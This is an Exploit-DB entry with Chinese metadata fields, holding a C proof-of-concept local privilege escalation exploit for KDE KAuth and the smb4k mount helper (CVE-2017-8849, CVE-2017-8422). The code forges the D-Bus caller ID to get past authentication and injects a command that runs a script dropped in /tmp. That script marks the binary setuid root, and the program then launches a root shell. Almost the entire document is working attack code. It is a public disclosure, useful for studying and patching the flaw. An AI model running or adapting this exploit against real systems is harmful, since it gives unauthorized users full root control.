标题: KDE 4/5 - 'KAuth' Local Privilege Escalation EDB-ID: 42053 CVE: 2017-8849 2017-8422 类型: LOCAL 平台: LINUX 发布日期: 2017-05-18 漏洞利用脚本: // cc -Wall smb0k.c -pedantic -std=c11
//
// smb4k PoC, also demonstrating broader scope of a generic kde
// authentication bypass vulnerability
//
// (C) 2017 Sebastian Krahmer
//

#define _POSIX_C_SOURCE 200112L
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>


void die(const char *s)
{
 perror(s);
 exit(errno);
}


int main(int argc, char **argv)
{
 char me[1024] = {0};
 char *dbus[] = {
  "/usr/bin/dbus-send",
  "--system",
  "--print-reply",
  "--dest=net.sourceforge.smb4k.mounthelper",
  "/",
  "org.kde.auth.performActions",
  "array:byte:"
// The variant map, containing evil mh_command key-pair
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// the callerID, ":1.0" which is dbus itself and thus always passes
"array:byte:58,49,46,48", NULL};

 char *boomsh = "/tmp/xmount.cifs";
 char *const sh[] = {me, "shell", NULL};
 char *const bash[] = {"/bin/bash", "--norc", "--noprofile", NULL};
 struct stat st;
 int fd = -1;

 if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0)
  die("[-] readlink");

 if (geteuid() == 0) {
  setuid(0);
  setgid(0);
  if (argc == 2) {
   execve(*bash, bash, NULL);
   die("[-] execve of bash");
  }
  chown(me, 0, 0);
  chmod(me, 04755);
  exit(0);
 }

 printf("[*] Creating shellscript ...\n");
 unlink(boomsh);
 if ((fd = open(boomsh, O_RDWR|O_CREAT, 0755)) < 0)
  die("[-] open");
 write(fd, "#!/bin/sh\n", 10);
 write(fd, me, strlen(me));
 write(fd, "\n", 1);
 close(fd);

 printf("[*] Triggering call...\n");

 if (fork() == 0) {
  execve(*dbus, dbus, NULL);
  exit(1);
 }
 wait(NULL);
 sleep(5);
 printf("[*] Trying to find rootshell...\n");

 memset(&st, 0, sizeof(st));
 stat(me, &st);
 if ((st.st_mode & 04000) != 04000)
  die("[-] Failed to chmod ourselfs.\n");

 execve(me, sh, NULL);
 return 0;
} URL: https://www.exploit-db.com/exploits/42053